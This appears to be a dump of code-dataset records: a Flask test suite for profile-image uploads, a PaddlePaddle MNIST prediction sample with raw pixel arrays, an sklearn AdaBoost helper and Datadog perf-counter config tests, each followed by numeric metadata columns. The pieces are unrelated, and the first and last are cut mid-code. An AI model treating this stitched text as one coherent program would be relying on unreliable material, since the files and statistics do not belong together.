'value': {'transactionId': transaction_id},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 422, response.data
assert response.json['message'].startswith(
'Need exactly 1 asset but found 0 assets'
)
clean_up_paths.append(td)
# PATCH replace /profile_fileupload_guid with transaction_id with 2 assets
td = Path(tempfile.mkdtemp(prefix='trans-', dir=upload_dir))
transaction_id = td.name[len('trans-') :]
transaction_id = td.name[len('trans-') :]
with (td / 'image.jpg').open('wb') as f:
f.write(zebra)
with (td / 'a.txt').open('w') as f:
f.write('abcd')
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'replace',
'path': '/profile_fileupload_guid',
'value': {'transactionId': transaction_id},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 422, response.data
assert response.json['message'].startswith(
'Need exactly 1 asset but found 2 assets'
)
clean_up_paths.append(td)
# PATCH replace /profile_fileupload_guid with transaction_id with 2 assets with path
td = Path(tempfile.mkdtemp(prefix='trans-', dir=upload_dir))
transaction_id = td.name[len('trans-') :]
transaction_id = td.name[len('trans-') :]
with (td / 'image.jpg').open('wb') as f:
f.write(zebra)
with (td / 'a.txt').open('w') as f:
f.write('abcd')
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'replace',
'path': '/profile_fileupload_guid',
'value': {'transactionId': transaction_id, 'path': 'image.jpg'},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 200, response.data
fup = FileUpload.query.get(response.json['profile_fileupload']['guid'])
src_response = flask_app_client.get(fup.src)
src_data = src_response.data
src_response.close() # h/t https://github.com/pallets/flask/issues/2468#issuecomment-517797518
assert src_data == zebra
clean_up_objects.append(fup)
clean_up_paths.append(td)
# PATCH replace /profile_fileupload_guid with transaction_id
td = Path(tempfile.mkdtemp(prefix='trans-', dir=upload_dir))
transaction_id = td.name[len('trans-') :]
with (td / 'image.jpg').open('wb') as f:
f.write(zebra)
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'replace',
'path': '/profile_fileupload_guid',
'value': {'transactionId': transaction_id},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 200, response.data
response_asset_guid = response.json['profile_fileupload']['guid']
updated_user = User.query.get(regular_user.guid)
assert str(updated_user.profile_fileupload_guid) == response_asset_guid
fileupload = FileUpload.query.get(response_asset_guid)
assert updated_user.profile_fileupload == fileupload
assert fileupload is not None, 'FileUpload linked to user does not exist'
clean_up_objects += [fileupload]
# PATCH remove /profile_fileupload_guid
kwargs = {
'content_type': 'application/json',
'data': json.dumps([{'op': 'remove', 'path': '/profile_fileupload_guid'}]),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 200, response.data
updated_user = User.query.get(regular_user.guid)
assert updated_user.profile_fileupload_guid is None
# Create file upload
with TemporaryDirectoryGraceful() as td:
testfile = Path(td) / 'image.jpg'
with testfile.open('wb') as f:
f.write(zebra)
fup = FileUpload.create_fileupload_from_path(str(testfile))
with db.session.begin():
db.session.add(fup)
clean_up_objects += [fup]
clean_up_paths += [Path(fup.get_absolute_path())]
# PATCH add /profile_fileupload_guid
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'add',
'path': '/profile_fileupload_guid',
'value': {'guid': str(fup.guid)},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 200, response.data
updated_user = User.query.get(regular_user.guid)
assert str(updated_user.profile_fileupload_guid) == str(fup.guid)
# PATCH add /profile_fileupload_guid with invalid crop
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'add',
'path': '/profile_fileupload_guid',
'value': {
'guid': str(fup.guid),
'crop': 'invalid',
},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 422, response.data
assert (
response.json['message']
== 'Expected {"crop": {"x": <int>, "y": <int>, "width": <int>, "height": <int>}}'
)
with Image.open(fup.get_absolute_path()) as image:
assert image.size == (1000, 664)
# PATCH add /profile_fileupload_guid with crop
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'add',
'path': '/profile_fileupload_guid',
'value': {
'guid': str(fup.guid),
'crop': {
'x': 650,
'y': 150,
'width': 150,
'height': 150,
},
},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 200, response.data
src = response.json['profile_fileupload']['src']
response = flask_app_client.get(src)
assert response.headers['Content-Type'] == 'image/jpeg'
with Image.open(io.BytesIO(response.data)) as image:
assert image.size == (150, 150)
# Create non image fileupload
with TemporaryDirectoryGraceful() as td:
testfile = Path(td) / 'a.txt'
with testfile.open('w') as f:
f.write('abcd\n')
fup = FileUpload.create_fileupload_from_path(str(testfile))
with db.session.begin():
db.session.add(fup)
clean_up_objects += [fup]
# PATCH add /profile_fileupload_guid with crop not image
kwargs = {
'content_type': 'application/json',
'data': json.dumps(
[
{
'op': 'add',
'path': '/profile_fileupload_guid',
'value': {
'guid': str(fup.guid),
'crop': {
'x': 650,
'y': 150,
'width': 150,
'height': 150,
},
},
}
]
),
}
response = flask_app_client.patch(*args, **kwargs)
assert response.status_code == 422, response.data
assert response.json['message'].startswith(
'UnidentifiedImageError: cannot identify image file'
)
| 37.478331
| 103
| 0.500578
| 2,223
| 23,349
| 5.040036
| 0.103014
| 0.052035
| 0.047483
| 0.060336
| 0.813013
| 0.780525
| 0.750089
| 0.730096
| 0.730096
| 0.718315
| 0
| 0.008948
| 0.382586
| 23,349
| 622
| 104
| 37.538585
| 0.768244
| 0.048953
| 0
| 0.589744
| 0
| 0.001832
| 0.142986
| 0.018623
| 0
| 0
| 0
| 0
| 0.130037
| 1
| 0.018315
| false
| 0.02381
| 0.020147
| 0
| 0.038462
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
ac16b2b48b9f77af5c281e475923310cbc2abe5d
| 9,551
|
py
|
Python
|
doc/ui/predict/predict_sample.py
|
TarzanQll/Paddle-master
|
1f192b22c641f91bd98a5babe7189ac5d7d3b408
|
[
"Apache-2.0"
] | null | null | null |
doc/ui/predict/predict_sample.py
|
TarzanQll/Paddle-master
|
1f192b22c641f91bd98a5babe7189ac5d7d3b408
|
[
"Apache-2.0"
] | null | null | null |
doc/ui/predict/predict_sample.py
|
TarzanQll/Paddle-master
|
1f192b22c641f91bd98a5babe7189ac5d7d3b408
|
[
"Apache-2.0"
] | 1
|
2019-10-26T12:51:13.000Z
|
2019-10-26T12:51:13.000Z
|
# Copyright (c) 2016 Baidu, Inc. All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from py_paddle import swig_paddle, DataProviderWrapperConverter
from paddle.trainer.PyDataProviderWrapper import DenseSlot
from paddle.trainer.config_parser import parse_config
TEST_DATA = [[[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.215686,
0.533333, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.67451,
0.992157, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.070588, 0.886275,
0.992157, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.192157, 0.070588, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0.670588, 0.992157, 0.992157, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.117647, 0.933333, 0.858824, 0.313725, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0.090196, 0.858824, 0.992157, 0.831373, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.141176,
0.992157, 0.992157, 0.611765, 0.054902, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.258824, 0.992157, 0.992157,
0.529412, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.368627, 0.992157, 0.992157, 0.419608, 0.003922, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0.094118, 0.835294, 0.992157, 0.992157, 0.517647, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.603922, 0.992157,
0.992157, 0.992157, 0.603922, 0.545098, 0.043137, 0, 0, 0, 0, 0, 0, 0, 0.447059, 0.992157, 0.992157,
0.956863, 0.062745, 0, 0, 0, 0, 0, 0, 0, 0, 0.011765, 0.666667, 0.992157, 0.992157, 0.992157, 0.992157,
0.992157, 0.745098, 0.137255, 0, 0, 0, 0, 0, 0.152941, 0.866667, 0.992157, 0.992157, 0.521569, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0.070588, 0.992157, 0.992157, 0.992157, 0.803922, 0.352941, 0.745098, 0.992157,
0.945098, 0.317647, 0, 0, 0, 0, 0.580392, 0.992157, 0.992157, 0.764706, 0.043137, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0.070588, 0.992157, 0.992157, 0.776471, 0.043137, 0, 0.007843, 0.27451, 0.882353, 0.941176, 0.176471,
0, 0, 0.180392, 0.898039, 0.992157, 0.992157, 0.313725, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.070588, 0.992157,
0.992157, 0.713725, 0, 0, 0, 0, 0.627451, 0.992157, 0.729412, 0.062745, 0, 0.509804, 0.992157, 0.992157,
0.776471, 0.035294, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.494118, 0.992157, 0.992157, 0.968627, 0.168627, 0, 0,
0, 0.423529, 0.992157, 0.992157, 0.364706, 0, 0.717647, 0.992157, 0.992157, 0.317647, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0.533333, 0.992157, 0.984314, 0.945098, 0.603922, 0, 0, 0, 0.003922, 0.466667, 0.992157,
0.988235, 0.976471, 0.992157, 0.992157, 0.788235, 0.007843, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.686275,
0.882353, 0.364706, 0, 0, 0, 0, 0, 0, 0.098039, 0.588235, 0.992157, 0.992157, 0.992157, 0.980392,
0.305882, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.101961, 0.67451, 0.321569, 0, 0, 0, 0, 0, 0, 0, 0.105882,
0.733333, 0.976471, 0.811765, 0.713725, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.65098, 0.992157,
0.321569, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.25098, 0.007843, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,
0.94902, 0.219608, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.968627,
0.764706, 0.152941, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.498039,
0.25098, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]], [
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.298039, 0.333333, 0.333333, 0.333333, 0.337255, 0.333333,
0.333333, 0.109804, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.027451, 0.223529, 0.776471,
0.964706, 0.988235, 0.988235, 0.988235, 0.992157, 0.988235, 0.988235, 0.780392, 0.098039, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.14902, 0.698039, 0.988235, 0.992157, 0.988235, 0.901961, 0.87451,
0.568627, 0.882353, 0.976471, 0.988235, 0.988235, 0.501961, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0.188235, 0.647059, 0.988235, 0.988235, 0.745098, 0.439216, 0.098039, 0, 0, 0, 0.572549, 0.988235,
0.988235, 0.988235, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.2, 0.933333, 0.992157, 0.941176,
0.247059, 0, 0, 0, 0, 0, 0, 0.188235, 0.898039, 0.992157, 0.992157, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0.039216, 0.639216, 0.933333, 0.988235, 0.913725, 0.278431, 0, 0, 0, 0, 0, 0, 0, 0.113725, 0.843137,
0.988235, 0.988235, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.235294, 0.988235, 0.992157, 0.988235, 0.815686,
0.07451, 0, 0, 0, 0, 0, 0, 0, 0.333333, 0.988235, 0.988235, 0.552941, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0.211765, 0.878431, 0.988235, 0.992157, 0.701961, 0.329412, 0.109804, 0, 0, 0, 0, 0, 0, 0, 0.698039,
0.988235, 0.913725, 0.145098, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.188235, 0.890196, 0.988235, 0.988235,
0.745098, 0.047059, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.882353, 0.988235, 0.568627, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0.2, 0.933333, 0.992157, 0.992157, 0.992157, 0.447059, 0.294118, 0, 0, 0, 0, 0, 0, 0, 0, 0.447059,
0.992157, 0.768627, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.623529, 0.988235, 0.988235, 0.988235, 0.988235,
0.992157, 0.47451, 0, 0, 0, 0, 0, 0, 0, 0.188235, 0.933333, 0.87451, 0.509804, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0.992157, 0.988235, 0.937255, 0.792157, 0.988235, 0.894118, 0.082353, 0, 0, 0, 0, 0, 0,
0.027451, 0.647059, 0.992157, 0.654902, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.623529, 0.988235, 0.913725,
0.329412, 0.376471, 0.184314, 0, 0, 0, 0, 0, 0, 0.027451, 0.513725, 0.988235, 0.635294, 0.219608, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.196078, 0.929412, 0.988235, 0.988235, 0.741176, 0.309804, 0, 0, 0, 0,
0, 0, 0.529412, 0.988235, 0.678431, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.223529, 0.992157,
0.992157, 1, 0.992157, 0.992157, 0.992157, 0.992157, 1, 0.992157, 0.992157, 0.882353, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.023529, 0.478431, 0.654902, 0.658824, 0.952941, 0.988235, 0.988235,
0.988235, 0.992157, 0.988235, 0.729412, 0.278431, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0.196078, 0.647059, 0.764706, 0.764706, 0.768627, 0.580392, 0.047059, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0]]]
def main():
conf = parse_config("./mnist_model/trainer_config.conf.norm", "")
print conf.data_config.load_data_args
network = swig_paddle.GradientMachine.createFromConfigProto(conf.model_config)
assert isinstance(network, swig_paddle.GradientMachine) # For code hint.
network.loadParameters("./mnist_model/")
converter = DataProviderWrapperConverter(False, [DenseSlot(784)])
inArg = converter(TEST_DATA)
print network.forwardTest(inArg)
if __name__ == '__main__':
swig_paddle.initPaddle("--use_gpu=0")
main()
| 90.961905
| 120
| 0.482777
| 2,086
| 9,551
| 2.197987
| 0.119367
| 0.533915
| 0.757688
| 0.955289
| 0.537405
| 0.463904
| 0.45867
| 0.400654
| 0.398909
| 0.372083
| 0
| 0.540882
| 0.30468
| 9,551
| 104
| 121
| 91.836538
| 0.149526
| 0.06146
| 0
| 0.141176
| 0
| 0
| 0.007934
| 0.004246
| 0
| 0
| 0
| 0
| 0.011765
| 0
| null | null | 0
| 0.035294
| null | null | 0.023529
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
ac2af8fe269abe01b8ea5e5acd3a54ad314beb14
| 87
|
py
|
Python
|
src/models/ada_boost.py
|
GavinNishizawa/ncaa-march-madness-2018
|
8324e48ba32c685d60a4eb97e0f10f664a88710b
|
[
"MIT"
] | 1
|
2018-03-08T23:44:18.000Z
|
2018-03-08T23:44:18.000Z
|
src/models/ada_boost.py
|
GavinNishizawa/ncaa-march-madness-2018
|
8324e48ba32c685d60a4eb97e0f10f664a88710b
|
[
"MIT"
] | null | null | null |
src/models/ada_boost.py
|
GavinNishizawa/ncaa-march-madness-2018
|
8324e48ba32c685d60a4eb97e0f10f664a88710b
|
[
"MIT"
] | null | null | null |
from sklearn import ensemble
def create():
return ensemble.AdaBoostClassifier()
| 12.428571
| 40
| 0.758621
| 9
| 87
| 7.333333
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.172414
| 87
| 6
| 41
| 14.5
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
|
0
| 6
|
ac2ebc7c08a9573cd3df9444e5bf0a3207740717
| 21,741
|
py
|
Python
|
datadog_checks_base/tests/base/checks/windows/perf_counters/test_config.py
|
tdimnet/integrations-core
|
a78133a3b71a1b8377fa214d121a98647031ab06
|
[
"BSD-3-Clause"
] | 1
|
2021-12-15T22:45:14.000Z
|
2021-12-15T22:45:14.000Z
|
datadog_checks_base/tests/base/checks/windows/perf_counters/test_config.py
|
tdimnet/integrations-core
|
a78133a3b71a1b8377fa214d121a98647031ab06
|
[
"BSD-3-Clause"
] | null | null | null |
datadog_checks_base/tests/base/checks/windows/perf_counters/test_config.py
|
tdimnet/integrations-core
|
a78133a3b71a1b8377fa214d121a98647031ab06
|
[
"BSD-3-Clause"
] | null | null | null |
# (C) Datadog, Inc. 2021-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
import logging
import pytest
from datadog_checks.dev.testing import requires_py3, requires_windows
from .utils import get_check
pytestmark = [requires_py3, requires_windows, pytest.mark.perf_counters]
@pytest.fixture(autouse=True)
def mock_performance_object_enumeration(mock_performance_objects):
mock_performance_objects({'Foo': (['instance1'], {'Bar': [0]})})
class TestServer:
def test_not_string(self, dd_run_check):
check = get_check({'server': 9000})
with pytest.raises(Exception, match='^Setting `server` must be a string$'):
dd_run_check(check, extract_message=True)
class TestUsername:
def test_not_string(self, dd_run_check):
check = get_check({'username': 9000})
with pytest.raises(Exception, match='^Setting `username` must be a string$'):
dd_run_check(check, extract_message=True)
class TestPassword:
def test_not_string(self, dd_run_check):
check = get_check({'password': 9000})
with pytest.raises(Exception, match='^Setting `password` must be a string$'):
dd_run_check(check, extract_message=True)
class TestMetrics:
def test_not_mapping(self, dd_run_check):
check = get_check({'metrics': 9000})
with pytest.raises(Exception, match='^Setting `metrics` must be a mapping$'):
dd_run_check(check, extract_message=True)
def test_object_not_mapping(self, dd_run_check):
check = get_check({'metrics': {'Foo': 9000}})
with pytest.raises(Exception, match='^Performance object `Foo` in setting `metrics` must be a mapping$'):
dd_run_check(check, extract_message=True)
def test_object_name_missing(self, dd_run_check):
check = get_check({'metrics': {'Foo': {}}})
with pytest.raises(Exception, match='^Option `name` for performance object `Foo` is required$'):
dd_run_check(check, extract_message=True)
def test_object_name_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 9000}}})
with pytest.raises(Exception, match='^Option `name` for performance object `Foo` must be a string$'):
dd_run_check(check, extract_message=True)
def test_object_tag_name_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'tag_name': 9000}}})
with pytest.raises(Exception, match='^Option `tag_name` for performance object `Foo` must be a string$'):
dd_run_check(check, extract_message=True)
def test_object_counters_missing(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo'}}})
with pytest.raises(Exception, match='^Option `counters` for performance object `Foo` is required$'):
dd_run_check(check, extract_message=True)
def test_object_counters_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': 9000}}})
with pytest.raises(Exception, match='^Option `counters` for performance object `Foo` must be an array$'):
dd_run_check(check, extract_message=True)
class TestExtraMetrics:
def test_not_mapping(self, dd_run_check):
check = get_check({'extra_metrics': 9000})
with pytest.raises(Exception, match='^Setting `extra_metrics` must be a mapping$'):
dd_run_check(check, extract_message=True)
def test_object_not_mapping(self, dd_run_check):
check = get_check({'extra_metrics': {'Foo': 9000}})
with pytest.raises(Exception, match='^Performance object `Foo` in setting `extra_metrics` must be a mapping$'):
dd_run_check(check, extract_message=True)
def test_object_name_missing(self, dd_run_check):
check = get_check({'extra_metrics': {'Foo': {}}})
with pytest.raises(Exception, match='^Option `name` for performance object `Foo` is required$'):
dd_run_check(check, extract_message=True)
def test_object_name_not_string(self, dd_run_check):
check = get_check({'extra_metrics': {'Foo': {'name': 9000}}})
with pytest.raises(Exception, match='^Option `name` for performance object `Foo` must be a string$'):
dd_run_check(check, extract_message=True)
def test_object_tag_name_not_string(self, dd_run_check):
check = get_check({'extra_metrics': {'Foo': {'name': 'foo', 'tag_name': 9000}}})
with pytest.raises(Exception, match='^Option `tag_name` for performance object `Foo` must be a string$'):
dd_run_check(check, extract_message=True)
def test_object_counters_missing(self, dd_run_check):
check = get_check({'extra_metrics': {'Foo': {'name': 'foo'}}})
with pytest.raises(Exception, match='^Option `counters` for performance object `Foo` is required$'):
dd_run_check(check, extract_message=True)
def test_object_counters_not_string(self, dd_run_check):
check = get_check({'extra_metrics': {'Foo': {'name': 'foo', 'counters': 9000}}})
with pytest.raises(Exception, match='^Option `counters` for performance object `Foo` must be an array$'):
dd_run_check(check, extract_message=True)
class TestInclude:
def test_not_array(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'include': 9000}}})
with pytest.raises(Exception, match='^Option `include` for performance object `Foo` must be an array$'):
dd_run_check(check, extract_message=True)
def test_pattern_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'include': [9000]}}})
with pytest.raises(
Exception, match='^Pattern #1 of option `include` for performance object `Foo` must be a string$'
):
dd_run_check(check, extract_message=True)
class TestExclude:
def test_not_array(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'exclude': 9000}}})
with pytest.raises(Exception, match='^Option `exclude` for performance object `Foo` must be an array$'):
dd_run_check(check, extract_message=True)
def test_pattern_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'exclude': [9000]}}})
with pytest.raises(
Exception, match='^Pattern #1 of option `exclude` for performance object `Foo` must be a string$'
):
dd_run_check(check, extract_message=True)
class TestInstanceCounts:
def test_not_mapping(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'instance_counts': 9000}}})
with pytest.raises(
Exception, match='^Option `instance_counts` for performance object `Foo` must be a mapping$'
):
dd_run_check(check, extract_message=True)
def test_count_type_unknown(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'instance_counts': {'baz': '', 'bar': ''}}}})
with pytest.raises(
Exception, match='^Option `instance_counts` for performance object `Foo` has unknown types: bar, baz$'
):
dd_run_check(check, extract_message=True)
def test_metric_name_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'instance_counts': {'total': 9000}}}})
with pytest.raises(
Exception,
match=(
'^Metric name for count type `total` of option `instance_counts` for performance '
'object `Foo` must be a string$'
),
):
dd_run_check(check, extract_message=True)
class TestCounters:
def test_not_mapping(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': [9000]}}})
dd_run_check(check)
with pytest.raises(
Exception, match='^Entry #1 of option `counters` for performance object `Foo` must be a mapping$'
):
dd_run_check(check, extract_message=True)
def test_invalid_type(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': 9000}]}}})
dd_run_check(check)
with pytest.raises(Exception, match='^Counter `Bar` for performance object `Foo` must be a string or mapping$'):
dd_run_check(check, extract_message=True)
def test_duplicate(self, dd_run_check):
check = get_check(
{'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 'bar'}}, {'Bar': {'name': 'baz'}}]}}}
)
dd_run_check(check)
with pytest.raises(Exception, match='^Counter `Bar` for performance object `Foo` is already defined$'):
dd_run_check(check, extract_message=True)
def test_metric_name_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'metric_name': 9000}}]}}})
dd_run_check(check)
with pytest.raises(
Exception, match='^Option `metric_name` for counter `Bar` of performance object `Foo` must be a string$'
):
dd_run_check(check, extract_message=True)
def test_name_missing(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {}}]}}})
dd_run_check(check)
with pytest.raises(
Exception, match='^Option `name` for counter `Bar` of performance object `Foo` is required$'
):
dd_run_check(check, extract_message=True)
def test_name_not_string(self, dd_run_check):
check = get_check({'metrics': {'Foo': {'name': 'foo', 'counters': [{'Bar': {'name': 9000}}]}}})
dd_run_check(check)
with pytest.raises(
Exception, match='^Option `name` for counter `Bar` of performance object `Foo` must be a string$'
):
dd_run_check(check, extract_message=True)
def test_type_not_string(self, dd_run_check):
